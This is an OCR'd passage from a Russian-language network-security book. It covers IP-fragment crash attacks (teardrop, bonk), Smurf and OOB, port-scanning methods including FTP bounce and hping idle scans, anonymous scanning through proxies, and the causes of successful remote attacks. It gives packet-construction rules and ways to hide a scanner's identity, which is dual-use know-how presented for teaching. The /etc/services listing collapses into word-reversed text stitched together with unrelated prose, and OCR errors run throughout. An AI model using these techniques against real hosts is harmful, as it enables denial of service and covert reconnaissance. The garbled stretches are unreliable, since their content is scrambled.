случая: если длина текущего пакета слишком мала, чтобы заполнить собой перекрытие, то offset окажется
больше, чем end (именно эти переменные определяют длину фрагмента, копируемого в отдельный буфер, где
и осуществляется сборка).

  Тогда при заполнении структуры, описывающей копируемый блок данных, возникает следующая
ситуация:

  fp->offset = offset
fp->end = end
fp->len = end-offset (Отрицательная)
Заключенная в цикл инструкция по сборке фрагментов выглядит следующим образом:

  memcpy((ptr+fp->offset), fp->ptr, fp->len),
где: ptr+fp->offset - смещение фрагмента в буфере; fp->ptr - область данных фрагмента; fp->len - длина
копируемого блока данных.

  Попытка скопировать блок данных отрицательной длины (что равносильно копированию очень большого
блока данных) приводит к затиранию достаточно большого участка памяти и к <зависанию> или перезаг-
рузке компьютера.

  Таким образом, для реализации данной атаки пакеты формируются по следующему правилу (рассмотрим
атаку из двух пакетов):

  1. Посылается пакет, предполагающий фрагментацию (флаг MF = 1), со смещением фрагмента 0, блоком
данных длиной N.

  2. Посылается последний фрагмент сообщения (флаг MF = 0) с положительным смещением фрагмента
offset < N и блоком данных, длина которого меньше N-offset.

  Последовательная передача таких пакетов приводит к возникновению рассмотренной выше ситуации,
когда копирование блока отрицательной длины вызывает выход компьютера из строя.

  Для NT существуют две похожие программы, которые реализуют этот механизм, связанный с наложением
IP-фрагментов: teardrop и newtear (с несущественными отличиями в константах). Пакеты посылаются с лю-
бого адреса на любой из портов, независимо от того, открыт он или нет.

  Есть и другая вариация на тему этой атаки - bonk. В данном случае после сборки фрагментов в пакете
остаются <дырки> - пустые, не заполненные данными места, что также может привести к сбою ядра
операционной системы и <зависанию> компьютера.

  Обе эти уязвимости присутствовали во всех версиях ОС Windows 95/NT до Service Pack 4 включительно и
в ранних версиях ОС Linux (например, Linux 2.0.0). На сегодняшний день ошибки, связанные с некорректной
сборкой фрагментов, скорее всего, исправлены в большинстве сетевых ОС.

  Атака передачей широковещательного запроса от имени
<жертвы>
Как известно, протокол IP поддерживает возможность broadcast-адресации (широковещательная) пакетов.

  Например, адрес 194.255.255.255 является широковещательным для сети 194.0.0.0. Особенность
широковещательной передачи состоит в том, что такой IP-пакет получат все хосты внутри данной подсети
(на канальном уровне в заголовке данного IP-пакета указывается адрес FF-FF-FF-FF-FF-FF, чем, очевидно, и
достигается <широковещательность> сообщения).

  Одной из функций протокола 1СМР является передача по сети тестовых запросов Echo Request/Reply.

  Атака, получившая название Smurf, состоит в передаче в сеть одиночного широковещательного запроса
1СМР Echo Request от имени (с IP-адреса) <жертвы>. В результате все операционные системы (а их
теоретически может быть очень много), получив этот Echo-запрос, перешлют на IP-адрес <жертвы> ответ,
что может привести к перегрузке ОС компьютера этими ответами. На практике, однако, оказывается, что, во-
первых, большинство роутеров не передает в сеть полученный широковещательный IP-запрос, а, во-вторых,
ОС, отличные от UNIX-совместимых (например, MS Windows), не воспринимают широковещательный IP-
трафик и, соответственно, не отвечают па подобные запросы.

  Таким образом, можно сделать вывод, что атака Smurf является практически (но не принципиально!)
неосуществимой.

  Атака Windows-систем передачей пакетов TCP/IP на открытый порт
Такая атака, называемая Out of Band (00В), на сегодняшний день абсолютно устарела: она заключалась в
передаче на атакуемую Windows-систему пакета TCP/IP с флагом 00В на открытый (обычно 139-й) TCP-порт
и эффективно <подвешивала> Windows NT/95 до выхода Service Pack 3.




                                      Глава 5



                       МЕТОДЫ УДАЛЕННОГО СКАНИРОВАНИЯ ПОРТОВ

Все тайное становится явным.

  Рассмотрим существующие па сегодняшний день различные методы сетевого сканирования. Для этого
необходимо ответить на следующий вопрос: <Что такое сканирование портов, и для чего оно
применяется?>
Прежде чем переходить к ответу, вспомним, что представляют собой сетевые службы предоставления
удаленного сервиса (серверные приложения), такие как WWW, FTP, TELNET и т. д. Эти программы (в
UNIX-средах они обычно запускаются в режиме демона) после загрузки ожидают получения удаленных
запросов на подключение от клиентов на определенных, заранее для них зарезервированных TCP- или,
значительно реже, UDP-портax.


  - -----------------------------------------------------------------------

I Долее в разделе мы будем рассматривать серверные приложения, использующие для связи протокол TCP,
так кок они по сравнению с приложениями, использующими UDP, составляют подавляющее большинство.

  То есть речь пойдет только о методах TCP-сканирования (хотя UDP-CKO-нирование принципиально ничем не
отличается)

   - -----------------------------------------------------------------------.


  Таким образом, список открытых (активных) портов на сервере означает наличие запущенных на нем
серверных приложений, предоставляющих удаленный доступ. Ниже приводится текст файла /etc/services
из ОС Linux, где есть список нортов, зарезервированных для основных служб.


                                         #

# Network services. Internet style

                                        #

# Note that it is presently the policy of IANA to assign a single well-known
# port number for both ICP and UDP, hence, most entries here have two
# entries even it the protocol doesn't support UDP operations.

  # Updated from RFC 1340, "Assigned Numbers" (July 1992). Not all ports
# are included, only the more common ones.


                                         #

# from: ia(s)services5.8 (Berkeley) 5/9/91
# $ld: services,v 1.9 1993/11/08 19:49:15 cgd Exp $

                                        #

tcpmux  1/tcp ff TCP port service multiplexer
echo    7/tcp
echo    7/udp
discard         9/tcp sink null
discard         9/udp sink null
systat  11/tcp users
daytime         13/tcp
daytime         13/udp
netstat         15/tcp
qotd    17/tcp quote
mspIB/tcp       ff message send protocol
nisp18/udp      и message send protocol
chargen         19/tcp ttytst source
chargen         19/udp ttytst source
ftp21/tcp
в 22 - unassigned
telnet  23/tcp
ff 24 - private
smtp    25/tcp mail
# 26 - unassigned
time    37/tcp timserver
time    37/udp timserver
rlp39/udp       resource H resource location
nameserver      42/tcp name в IEN 116
whois   43/tcp nicname
domain  53/tcp nameserver # name-domain server
domain  53/udp nameserver
mtp57/tcp       и deprecated
bootps  67/tcp ft BOOTP server
bootps  67/udp
bootpc  68/tcp ff BOOTP client
bootpc  68/udp
tftp    69/udp
gopher  70/tcp > Internet Gopher
gopher  70/udp
rje77/tcp       netrjs
finger  79/tcp
www80/tcp       http и WorldWideWeb HTTP
www80/udp       ff HyperText Transfer Protocol
link    87/tcp ttylink
kerberos        88/tcp krb5 tf Kerberos v5
kerberos        88/udp
supdup  95/tcp
и 100 - reserved
hostnames       101/tcp hostname # usually from sri-nic
Iso-tsap        102/tcp tsap if part of ISODE.

  csnet-ns      105/tcp cso-nsff also used by CSO name server
csnet-ns        105/udp cso-ns
rfelnet         107/tcp U Remote Telnet
rtelnet         107/udp
pop2    109/tcp postoftice в POP version 2
pop2    109/udp
pop3    no/top ff POP versions
pop3    110/udp
sunrpc  Ill/top
sunrpc  111/udp
auth    113/tcp tap ident authentication
sftp    115/tcp
uucp-path       117/tcp
nntp    119/tcp readnews untp # USENET News Transfer Protocol
ntp123/tcp
ntp123/udp      # Network Time Protocol
netbios-ns      137/tcp ff NETBIOS Name Service
netbios-ns      137/udp
netbios-dgm     138/tcp U NETBIOS Datagram Service
netbios-dgm     138/udp
netbios-ssn     139/tcp # NETBIOS session service
netbios-ssn     139/udp
imap2   143/tcp # Interim Mail Access Proto v2
imap2   143/udp
snmp    161/udp и Simple Net Mgiiit Proto
snmp-trap       162/udp snmptrap # Traps tor SNMP
crnip-man       163/tcp n ISO mgmt over IP (CMOT)
crnip-man       163/udp
crnip-agent     164/tcp
crnip-agent     164/udp
xdrncp  177/tcp if X Display Mgr. Control Proto
xdmcp   177/udp
nextstep        178/tcp NeXTStep Next-Step <Подмена разделе описанной схеме, по этого Для сервера. TCP-портом указанным с TCP-соединение обычное создать необходимо клиенту этапе первом На этапов. двух состоит процесс Данный TCP-порту. либо каком- на запросы ожидающему приложению, серверному к подключения подробнее Рассмотрим udp 765 webster dictionary ff tcp # (v5) ?kadmin? Kerberos 749 kerberos-adm ?ish? Kerbenzed tt 544 kshell ?riogin? Kerberized и 543 klogin filesystem remote ffBrunhoff rts rfs_server 556 remotefs daemon uucp ft uucpd 540 broadcasts emergency for 533 netwall readnews 532 netnews chat 531 conference rpc 530 courier newdate 526 tempo timeserver 525 timed RIP routed router 520 route 518 ntalk 517 talk spooler printer line 515 514 syslog used passwords no cmd shell whod who513 513 login comsat 512 biff exec services specific UNIX 372 ulistserv Listserv v3 Protocol 220 imap3 Access Mail Interactive iniap3 ipx213 IPX wais 210 z3950 database .#NISOZ39.50 tcpwais 206 at-zis information zone AppleTalk . 204 at-echo echo 202 at-nbp binding name 201 at-rtmp 199 snuJX Multiplexer Unix SNMP smux irc194 Chat Relay 191 prospero Prospero Neuman?s Cliff bgp179 Proto. Gateway Border server NextStep NeXTStep 178 nextstep window>, клиент передает на сервер TCP SYN-запрос
на необходимый порт.


  - -----------------------------------------------------------------------

I Сокращение TCP SYN означает ТСР-панет с установленным битом SYN.


  - -----------------------------------------------------------------------

Если клиент получает ответ на этот запрос (TCP SYN АСК), то порт открыт н TCP-соединение будет
создано. Если же ответ за определенный промежуток времени так и не пришел, то это означает, что либо
порт закрыт и соответствующий сервер не запущен, либо имеют место физические проблемы со связью с
данным IP-адресом (это достаточно легко проверить, используя утилиты ping или traceroute). На втором
этапе, после создания TCP-соединения, клиент н сервер обмениваются специфичными для данных
приложений командами, создавая соединение уже на уровне приложения (в терминах модели OSI - на
прикладном уровне).

  Необходимо обратить внимание на то, что первый этап (создание ТСР-соединепия с указанным портом)
является стандартным и абсолютно инвариантным относительно вида серверного приложения, к которому
осуществляется подключение. На этой особенности и основаны все методы сетевого сканирования.

  Сканированием портов называется метод удаленного анализа, осуществляемый путем передачи тестовых
запросов на создание соединения и позволяющий определить список активных служб предоставления
удаленного сервиса на каком-либо хосте. Сканирование портов (или разведка) применяется па
подготовительной стадии перед атакой, так как позволяет получить необходимые начальные сведения о
потенциальном объекте воздействия: список открытых портов, а следовательно, и перечень потенциально
атакуемых серверных приложений, загруженных на компьютере.

  Все известные на сегодняшний день основные методы сканирования портов в зависимости от возможности
определения объектом непосредственного инициатора сканирования (хоста, откуда осуществлялся уда-
ленный анализ) можно разделить на две группы:

  1. Методы открытого сканирования: непосредственный инициатор однозначно определяется объектом
сканирования по IP-адресу приходящих запросов.

  2. Методы <невидимого> анонимного сканирования. Непосредственный инициатор не определяется
объектом сканирования (однозначно определяется только <промежуточный> источник сканирующих
запросов), таким образом, гарантируется анонимность инициатора сканирования.

  Методы открытого сканирования
Сканирование TCP SYN
Очевидный метод, основанный на принципах создания TCP-соединения и состоящий в последовательной
передаче па объект сканирования TCP SYN-запросов на создание соединения на различные порты. Если порт
открыт, то на данный сканирующий запрос будет получен ответ TCP SYN АСК; если же порт закрыт -
ответом будет TCP RST.

  Сканирование TCP PIN
В основу данного метода легли некоторые тонкости реализации протокола TCP в различных сетевых ОС: на
передаваемый TCP FIN-запрос закрытые порты отвечают пакетом с флагом RST, а открытые порты данное
сообщение игнорируют. Однако сетевые ОС фирмы Microsoft таким методом просканировать не удастся, так
как в их реализации протокола TCP передача пакета TCP RST в ответ на подобный запрос не предусмотрена.

  Детально данный метод описал Уриэль Маймон (Uriel Maimon) в Plirack 49, article 15.

  Сканирование с использованием IP-фрагментации
Этот метод служит логическим продолжением предыдущих двух методов, отличаясь от них усложнением
задачи обнаружения сканирования. Суть его состоит в разбиении TCP SYN- или TCP FIN-3aпpoca на
несколько маленьких IP-фрагментов (минимальный размер поля данных в IP-фрагменте 8 байт,
следовательно, TCP SYN-запрос, имеющий минимальный размер 20 байт, можно разбить на три фрагмента).

  Однако у этого метода сканирования может быть незапланированный побочный эффект: некоторые
некорректные реализации TCP/IP, получив подобные маленькие IP-фрагменты, вызывают сбой операционной
системы.

  Сканирование ТАР IDENT
Большинство UNIX-систем по умолчанию используют ТАР IDENT сервис на 113-м порту, задача которого
заключается в предоставлении удаленным пользователям информации о существующих на сервере в данный
момент соединениях. Входными параметрами ТАР-сервера являются  (интересующий нас порт
сервисной службы на сервере) и  (порт клиента, подключившегося к данной службе сервера).

  Выходными параметрами ТАР-сервера являются сообщения вида  ,  : USERID :

   :  или ,  : ERROR : 
Пример выходных данных ТАР-сервера: 6191 , 23 : USERID : UNIX : joe 6191
, 23 : USERID : MULTICS : StJohns.DODCSC.a 6191 , 23 : USERID : OTHER :

  StJohns.DODCSC.a 6191 , 23 : USERID : TAG : MCSJ-HITMUL 6191 , 23:

  USERID : UNIX :a6X#-Yp, 3147,2910 6191 , 23 : USERID : OTHER:

  wewishyouamerrychristmasand 6191 , 23 : ERROR : NO-USER
Подробнее о выходных данных ТАР-сервера вы можете узнать в RFC1413, а мы лишь заметим, что для
определения активности одного порта на сервере требуется перебор портов клиента  от 1 000 до
65 535, что делает данный метод чрезвычайно неэффективным.

  Внимательный читатель, наверное, заметил, что все вышеописанные методы открытого сканирования
перечислялись <от простого к сложному>. К чему все эти сложности? Ответ очевиден: создатели методов
имели вполне понятное желание обойти появляющиеся автоматизированные системы обнаружения
сканирования. Поэтому до тех пор, пока не были разработаны все эти методы, имела место <гонка> между
системами атаки и системами обнаружения и последовательно появлялись новые (на тот момент) методы
сканирования,


  Методы <невидимого> анонимного сканирования
Скрытая атака по FTP
Первым методом анонимного сканирования является метод, получивший название FTP Bounce Attack
(скрытая атака по FTP). Протокол FTP (RFC 959) имеет ряд, как нам кажется, чрезвычайно интересных и
недостаточно описанных функций, одна из которых - возможность создания так называемых  ftp-
соединений с FTP-сервера. Если программная реализация FTP-сервера поддерживает режим proxy, то любой
пользователь (и анонимный в том числе) может, подключившись к серверу, создать процесс DTP-server (Data
Transfer Process - процесс передачи данных) для передачи файла с этого FTP-сервера на любой другой сервер
в internet. Функциональность данной возможности протокола FTP вызывает некоторое сомнение, так как в
обычной ситуации ftp-клиент, подключающийся к серверу, передает и получает файлы либо непосредственно
от себя, либо для себя. Представить иной вариант действий, на наш взгляд, достаточно сложно, но, видимо,
создатели протокола FTP для его <будущего> развития предусмотрели подобную возможность, которая
теперь выглядит несколько архаичной и отнюдь не безопасной.

  Эта особенность протокола FTP позволяет предложить метод TCP-сканирования с использованием proxy
ftp-сервера, состоящий в следующем: ftp-серверу после подключения выдается команда PORT с параметрами
IP-адреса и TCP-порта объекта сканирования. Далее следует выполнить команду LIST, по которой FTP-
сервер попытается прочитать текущий каталог на объекте, посылая на указанный в команде PORT порт
назначения TCP SYN-запрос. Если порт на объекте открыт, то на сервер приходит ответ TCP SYN АСК и
FTP-клиент получает ответы <150> и <226>, если же порт закрыт, то ответ будет таким:

  425. Can't Build Data Connection: Connection Refused (425. Невозможно установить
соединение: в соединении отказано).

  Далее в цикле FTP-серверу последовательно выдаются команды PORT и LIST и осуществляется
сканирование разных портов.

  Данный метод вплоть до конца 1998 года был единственным и поистине уникальным методом
<невидимого> анонимного сканирования (уникальным он остается и по сей день). Основная.проблема
взломщиков всегда состояла в невозможности скрыть источник сканирования, так как требовалось получать
ответы на передаваемые запросы. Кроме того, в некоторых случаях межсетевой экран (МЭ) мог фильтровать
запросы с неизвестных


  IP-адресов, поэтому данный метод совершил революцию в сканировании, так как, во-первых, позволял скрыть
адрес кракера и, во-вторых, давал возможность сканировать контролируемую МЭ подсеть, используя
внутренний расположенный за МЭ ftp-сервер.

  Приведем список появляющихся при подключении заставок, генерируемых программами реализации FTP-
серверов, которые поддерживают режим proxy и па которых данный метод работает.

  220 xxxxxxx.com FTP server (Version wu-2.4(3) Wed Dee 14 . ..) ready.

  220 xxx. xxx. xxx. edu FTP server ready.

  220 xx.Telcom. xxxx. EDU FTP server (Version wu-2.4(3) Tue Jun 11 ... ) ready.

  220 lem FTP server (SunOS 4.1 ) ready.

  220 xxx. xxx. es FTP server (Version wu-2.4(11) Sat Apr 27 ... ) ready.

  220 elios FTP server (SunOS 4. 1) ready
Следующие версии реализации FTP не поддерживают proxy, и метод соответственно пс работает.

  220 wcarchive.cdrom.com FTP server (Version DG-2.0.39 Sun May 4 ... ) ready.

  220 xxx.xx.xxxxx.EDU Version wu-2.4.2-academ[BETA-12](1) Fri Feb 7
220 ftp Microsoft FTP Service (Version 3.0).

  220 xxx FTP server (Version wu-2.4.2-academ[BETA-11](1) Tue Sep 3 ... ) ready.

  220 xxx. unc. edu FTP server (Version wu-2.4. 2-academ[BETA-13](6) ... ) ready.

  Сканирование с использованием <немого> хоста
Сальвадор Сапфилинпо (Salvatore Sanfilippo) из Intesis Security Lab впервые заявил об этом методе 18 декабря
1998 года в конференции BUGTRAQ. Оригинальное название метода Dumb host scan переводится как
<сканирование с использованием <немого> хоста>. Основные положения, лежащие в основе метода (рис. 5.1),
Ьостоят в следующем:


  - -----------------------------------------------------------------------

I С каждым переданным пакетом значение ID в заголовке IP-пакета обычно увеличивается на 1.


  - -----------------------------------------------------------------------

' хост отвечает па TCP SYN-3aiipoc TCP SYN ACK, если порт открыт; и TCP RST, если порт закрыт;

 существует возможность узнать количество пакетов, переданных хостом, но параметру ID в заголовке IP;

 хост отвечает TCP RST на TCP SYN ACK и ничего не отвечает на TCP RST.


  - -----------------------------------------------------------------------

I Естественно, это происходит только в случае <неожиданного> прихода таких пакетов (при ip spoofing,
например).



  - -----------------------------------------------------------------------

Рассмотрим, как работает данный метод. Пусть X-Hacker - хост атакующего, откуда осуществляется
сканирование, объект В - <тихий> хост (обычный хост, который не будет передавать пакеты, пока происходит
скапировапис хоста С; таких хостов вполне достаточно в Internet), а хост С - объект сканирования. Хост X-
Hacker при помощи, например, утилиты hping контролирует число исходящих от хоста В пакетов по ID из
заголовка IP, имеющего вид: fthping В -г
HPING В (ethO 194.94.94.94): no flags are set. 40 data bytes
60 bytes from 194.94.94.94: flags=RA seq-O ttl=64 icM1660 win=0 time=1.2 rns
60 bytes from 194.94.94.94: flags=RA seq=1 ttl=64 id^l win=0 timers ins
60 bytes from 194.94.94.94: flags^RA seq=2 ttl=64 id=+1 win=0 tiiiie=91 ms
60 bytes from 194.94.94.94: flags=RA seq=3 ttl=64 id=+1 win=0 time=90 ms
60 bytes from 194.94.94.94: flags=RA seq=4 ffl=64 id=+1 win=0 1:ime=91 ms
60 bytes from 194.94.94.94: flags=RA seq=5 ftl=64 id=+1 win=0 time=87 ms
Как видно, ID увеличивается с каждым пакетом на 1, следовательно, хост В - именно тот <тихий> хост,
который нужен кракеру.

  X-Hacker посылает TCP SYN-запрос на порт Х хоста С от имени В (автор метода предлагает для этого
использовать утилиту hping с его сайта http://www.kyuzz.org/antirez. но можно применять и любые другие
программные средства). Если порт Х хоста С открыт, то хост С пошлет на хост В ответ TCP SYN АСК (хост
С не может знать, что этот пакет на самом деле пришел от X-Hacker). В этом случае объект В в ответ на TCP
SYN АСК ответит па С пакетом TCP RST. Если атакующий пошлет на С определенное количество TCP
SYN от имени хоста В, то В, получив несколько TCP SYN АСК, ответит столькими же TCP RST, и на хосте
X-Hacker будет видно, что В посылает пакеты, следовательно, порт Х открыт. Выглядит это следующим
образом:

  60 bytes from 194.94.94.94: flags=RA seq=17 ttl=64 id=+1 win=0 time=96 ms
60 bytes from 194.94.94.94: flags=RA seq=18 ttl=64 id=+1 win=0 time=80 ms
60 bytes from 194.94.94.94: flags=RA seq=19 ttl=64 id=+2 win=0 time=83 ms
60 bytes from 194.94.94.94: flags=RA seq=20 ttl=64 id=+3 win=0 time=94 ms
60 bytes from 194.94.94.94: flags=RA seq=21 ttl=64 id=+1 win=0 time=92 ms
60 bytes from 194.94.94.94: flags=RA seq=22 ttl=64 id=+2 win=0 time=82 ms
Порт открыт!

  В том случае, если порт Х хоста С закрыт, то передача на С нескольких TCP SYN-пакетов от имени В
вызовет ответный пакет TCP RST. Хост В, получив от хоста С такой пакет, проигнорирует его. Выглядит это
так:

  60 bytes from 194.94.94.94: flags=RA seq=52 ttl=64 id=+1 win=0 time=85 ms
60 bytes from 194.94.94.94: flags=RA seq=53 ttl=64 id=+1 win=0 time=83 ms
60 bytes from 194.94.94.94: flags=RA seq=54 ttl=64 id=+1 win=0 time=93 ms .

  60 bytes from 194.94.94.94: flags=RA seq=55 ttl=64 id=+1 win=0 time=74 ms
60 bytes from 194.94.94.94: flags=RA seq=56 ttl=64 id=+1 win=0 time=95 ms
60 bytes from 194.94.94.94: flags=RA seq=57 ttl=64 id=+1 win=0 time=81 ms
Порт закрыт!

  Сканирование через proxy-сервер
Еще один метод или, скорее, способ сканирования объекта, при котором можно остаться анонимным, -
сканирование с использованием промежуточного хоста (или цепочки хостов, что еще более надежно). В
данном случае предлагаем действовать следующими двумя способами.

  Первый способ состоит в использовании анонимных Free Telnet Account (свободный Telnet-доступ)
которых в Internet довольно много. При помощи telnet можно, подключившись к данному хосту, от его имени
веcти сканирование любого хоста в Internet. Для этого пишется небольшой скрипт, который, последовательно
изменяя порт назначения, будет выдавать следующую команду: telnet Scan_Host_Name Target_TCP_Port.

  Если порт закрыт, telnet вернет сообщение Connection Refused (В соединении отказано) или не вернет
ничего. Если же порт открыт, появится заставка соответствующей службы.

  Второй способ заключается в использовании любимых всеми кракера-ми WinGate-серверов. WinGate - это
обычная proxy-программа, позволяющая через сервер такого типа выходить в Internet, где можно найти не-
мало WinGate-серверов, администраторы которых разрешают анонимное подключение к ним с любых IP-
адресов. Это приводит к тому, что кракер получает прекрасный промежуточный хост, от имени (с IP-адреса)
которого, используя различные прикладные службы (telnet, ftp и т. д.), он может вести работу с любыми
объектами в Internet, сохраняя при этом полную и столь желанную для него анонимность. WinGate-сервер
можно использовать для сканирования по той же , которая описана выше.

  В заключение хотелось бы отметить неадекватную, на наш взгляд, реакцию многих сетевых
администраторов, обнаруживших сканирование их сетей: обычно реакция на него практически ничем не
отличается от реакции на уже осуществленное воздействие. Да, безусловно, удаленный анализ может являться
предвестником атаки, но может и не являться. Сам же по себе он не причиняет никакого вреда и не наносит
никакого ущерба объекту. Кроме того, описанные выше методы позволяют взломщику скрыть свой IP-адрес и
подставить вместо себя ничего нс подозревающего администратора хоста, от имени которого осуществлялось
сканирование. Следовательно, обвинять кого-то в попытке сканирования бессмысленно: во-первых, это не
атака, а, во-вторых, доказать злой умысел из-за методов <невидимого> сканирования невозможно.

  В 1996 году произошел небольшой инцидент, связанный с нашей попыткой сканирования одной из
подсетей. Желая узнать, что за хосты находятся в нашей подсети, мы воспользовались последней версией про-
граммы SATAN (см. главу 9). В результате наша невинная попытка сканирования была обнаружена
бдительным администратором одного из хостов, принадлежащих, видимо, какой-то спецслужбе, и мы
получили гневные письма с угрозами скорой хакерской расправы и фразами типа: <Хакер являлся
пользователем root и действовал с такого-то хоста>.

  Было довольно смешно читать подобные гневные письма и объяснять, что если бы у нас был злой умысел
(хотя откуда он мог взяться?), то уж, наверное, мы бы сделали так, чтобы нас невозможно было вычислить.

  Несмотря на то, что эта история довольно старая, но, на наш взгляд, очень поучительная, так как и на
сегодняшний день вряд ли что-либо в данной области принципиально изменилось, и сканирование до сих пор
многими приравнивается к атаке. Поэтому все желающие осуществлять сканирование должны быть готовы к
подобной неадекватной реакции сетевых администраторов.



                                      ГЛАВА 6



                           ПРИЧИНЫ УСПЕХА УДАЛЕННЫХ АТАК

<То, что изобретено одним человеком, может быть понято другим>, -
сказал Холме.

  А. Конан Доил. Пляшущие человечки
В двух предыдущих главах было показано, что общие принципы построения распределенных ВС позволяют
выделить целый класс угроз, характеризующих только распределенные системы. Было введено такое
понятие, как типовая угроза безопасности, предложены описание, характеристика, классификация и модели
основных типов угроз. Все зто позволяет говорить о практической методике исследования безопасности
РВС, основой которой является последовательное осуществление угроз всех типов в соответствии с
разработанными моделями их реализации. В этой главе подробно рассматриваются основные причины
успеха угроз безопасности РВС. Наша цель состоит в том, чтобы сформулировать те нрнинины и тре-
бования, которые ликвидировали бы причины успеха угроз и па основе которых было бы возможно
построение распределенной ВС с защищенным сетевым взаимодействием ее удаленных компонент.

  Причины успеха угроз безопасности РВС
Анализ механизмов реализации типовых угроз безопасности РВС (глава 3) и их практическое
осуществление на примере сети Internet (глава 4) позволили сформулировать причины, но которым
реализация данных угроз оказалась возможной. Особо отметим, что рассмотренные ниже причины
основываются на базовых принципах построения сетевого взаимодействия объектов распределенной ВС.

  Для устранения причин атак на инфраструктуру и базовые протоколы сети (см. главу 4) зачастую
необходимо либо отказаться от определенных служб (например, DNS), либо изменить конфигурацию
системы (наличие широковещательной среды приводит к возможности программного иро-.. слушивания
канала), либо изменить систему в целом. Причины успеха таких удаленных атак кроются в инфраструктуре
распределенной ВС, поэтому создание систематизации причин их успеха представляется весьма важной
задачей, решение которой позволит выработать принципы построения защищенного взаимодействия в РВС.

  Итак, рассмотрим возможные причины успеха угроз, направленных на инфраструктуру и базовые
протоколы распределенных ВС.

  Отсутствие выделенного канала связи
В главе 3 была рассмотрена типовая удаленная атака <анализ сетевого тра-фика>. Напомним, что данная
атака заключается в прослушивании канала передачи сообщений в сети. Результат этого воздействия - во-
первых, выяснение логики работы распределенной ВС и, во-вторых, перехват потока информации, которой
обмениваются объекты системы. Такая атака программно возможна только в случае, если кракер находится в
сети с физически широковещательной средой передачи данных, как, например, всем известная среда Ethernet
(в отличие от Token Ring, которая не является широковещательной, но и не имеет достаточного
распространения). Очевидно, что данное воздействие было бы невозможно, если бы у каждого объекта
системы для связи с любым другим объектом имелся выделенный канал (вариант физического
прослушивания такого канала не рассматривается, так как без специфических аппаратных средств под-
ключение к нему невозможно).

  Следовательно, причина успеха данной типовой атаки - наличие широковещательной среды передачи
данных или отсутствие выделенного канала связи между объектами РВС.

  Недостаточные идентификация и аутентификация
Как уже подчеркивалось, проблема идентификации и аутентификации субъектов и объектов РВС имеет
чрезвычайно важное значение. От ее решения зависит безопасность распределенной ВС в целом. Примеры
успешно осуществленных удаленных атак, рассмотренные в предыдущих главах, доказывают, что отсутствие
у разработчиков заранее определенной концепции и принципов идентификации объектов РВС оставляют
кракеру потенциальную возможность компрометации объектов системы. Стандартными способами
компрометации субъектов и объектов РВС являются: 
 выдача себя за какой-либо объект или субъект с
присвоением его прав н полномочий для доступа в систему (например, типовая угроза <подмена доверенного
субъекта или объекта РВС>);

 внедрение в систему ложного объекта, выдающего себя за доверенный объект системы (например,
типовая угроза <ложный объект РВС>).

  Взаимодействие объектов без установления виртуального канала
Одним из важнейших вопросов, на которые необходимо ответить, говоря об идентификации и
аутентификации объектов и субъектов РВС, является вопрос о видах взаимодействия между субъектами и
объектами в распределенной ВС. Как отмечалось в главе 3, взаимодействие между субъектами и объектами
РВС бывает двух видов:

  
с использованием виртуального канала;

 без использования виртуального канала. Практика показывает, что 99% взаимодействий между
объектами в сети Internet проходит с установлением такого канала (при любом FTP-, TELNET-, HTTP- и т. п.

  подключении используется протокол TCP, а следовательно, создается ВК). Это происходит потому, что
взаимодействие по виртуальному каналу является единственным динамическим способом защиты сетевого
соединения объектов РВС: в процессе создания ВК объекты РВС обмениваются динамически
вырабатываемой ключевой информацией, позволяющей уникально идентифицировать канал. В противном
случае для распознавания объектов распределенной системы пришлось бы использовать массив статической
идентификационной информации, уникальный для каждого объекта. А это означает, что мы получаем
стандартную проблему статического распределения ключей (матрица NxN), которая решается только на
ограниченном подмножестве объектов, но не в Internet.

  Итак, мы показали, что идентификация объектов РВС при отсутствии статической ключевой информации
возможна только при взаимодействии объектов с использованием виртуального канала. Следовательно,
взаимодействие без установления В К является одной из возможных причин успеха удаленных атак на РВС.

  Однако ошибочно считать распределенную вычислительную систему безопасной, даже если все
взаимодействие объектов происходит с созданием ВК. Об этом речь пойдет в следующем разделе,
Использование нестойких алгоритмов идентификации
К сожалению, взаимодействие объектов по виртуальному каналу в распределенной ВС не является панацеей
от всех проблем, связанных с идентификацией объектов РВС. ВК - необходимое, но нс достаточное условие
безопасного взапмодснстпия. Чрезвычайно важным в данном случае становится выбор алгоритма
идентификации при создании виртуального канала. Основное требование, предъявляемое к этим алгоритмам,
состоит в следующем: перехват ключевой информации, которой обмениваются объекты РВС при создании
ВК, нс должен позволить атакующему получить итоговые идентификаторы канала и объектов (см. раздел
<Причины успеха удаленных атак в сети Internet>). Однако в базовых алгоритмах идентификации,
используемых при создании ВК в большинстве существующих сетевых ОС, это требование практически не
учитывается. Так, например, в ОС Novell NetWare 3.12-4.1 идентификатор канала - число в диапазоне O-FFh,
идсптпфикатор объекта (рабочей станции или файл-сервера) - также число от 0 /ц) FFh; в протоколе TCP
идентификаторами канала и объектов являются два 32-битных числа, формируемых в процессе создания
ТСР-сосдинения (см. раздел <Подмена одного из субъектов TCP-соединения в сети Internet>).

  Очевидно, что создание виртуального канала с использованием нестойкого алгоритма идентификации не
позволяет надежно обезопасить РВС от подмены объектов .взаимодействия и выступает в качестве одной из
причин успеха удаленных атак на распределенные вычислительные системы.

  Отсутствие контроля за виртуальными каналами связи
Объекты распределенной ВС, взаимодействующие по виртуальным каналам, могут подвергаться типовой
атаке <отказ в обслуживании>. Особенность этого воздействия состоит в том, что, действуя абсолютно
легальными средствами системы, можно удаленно добиться нарушения ее работоспособности. Напомним,
что данная угроза реализуется при помощи передачи множественных запросов на создание соединения
(виртуального капала), в результате чего переполняется очередь запросов, либо система, запятая обработкой
ответов па запросы, вообще перестает функционировать. В чем причина успеха данной атаки? В отсутствии
необходимого контроля над соединением. При этом задача контроля распадается на две подзадачи:

  
 контроль за созданием соединения;

 контроль за использованием сосдинепия. Если пути решения второй задачи понятны - обычно
соединение разрывается по тайм-ауту, определенному системой, - так сделано во всех известных сетевых ОС
(однако тут возникает серьезная проблема выбора конкретного значения тайм-аута), то контроль за
созданием ВК достаточно сложен: в системе, где отсутствует статическая ключевая информация обо всех ее
объектах, невозможно отделить ложные запросы на создание соединения от настоящих. Очевидно также,
что если один субъект сетевого взаимодействия будет иметь возможность анонимно занимать неогра-
ниченное число каналов связи с удаленным объектом, то подобная система может быть полностью
парализована данным субъектом (пример-существующая сеть Internet в стандарте IPv4). Таким образом,
если любой объект в распределенной системе способен анонимно послать сообщение от имени другого
объекта (например, в Internet маршрутизаторы не проверяют IP-адрес отправителя), то в подобной
распределенной ВС практически невозможен контроль за созданием виртуальных соединений. Поэтому
основная причина типовой угрозы <отказ в обслуживании> - это отсутствие приемлемого решения задачи
контроля за маршрутом сообщений.

  Отсутствие возможности контролировать маршрут сообщений
